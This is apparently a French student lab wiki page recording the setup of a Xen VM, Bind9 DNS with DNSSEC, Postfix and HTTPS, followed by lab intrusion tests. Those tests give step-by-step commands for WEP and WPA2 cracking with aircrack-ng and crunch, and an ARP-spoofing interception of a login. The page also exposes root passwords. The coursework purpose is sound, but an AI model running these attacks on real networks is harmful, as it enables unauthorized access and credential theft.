tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on tajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une paserell doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interfacte avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comem ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié nottre dns a une ip, il faur renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas gandi ne pourras pas liée les dns a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon nottre système de clef ne fonctionnera pas.<br />
pour commancer, on crée un repertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les rennomer pouyr plus de transparance.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a gandi comme montrer ci-dessous en n'oubliant pas de selectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le dns et représanter la chaine d'autentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une méchagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérfication de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenètre de configuration s'ouver. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la reception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les méssage recu en tappant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on resoit bien les message en provenance du mail de Polytech.<br />
Pour que gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoint de pouvoir recevoirr les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commance <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différante care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyet le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de gandi on resoit un codde de confimartion ainsi q'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers gandi a télechargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionn pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Glopglop.site_Securis%C3%A9.png&diff=53950Fichier:Glopglop.site Securisé.png2020-11-20T10:10:45Z<p>Aglaine : </p>
<hr />
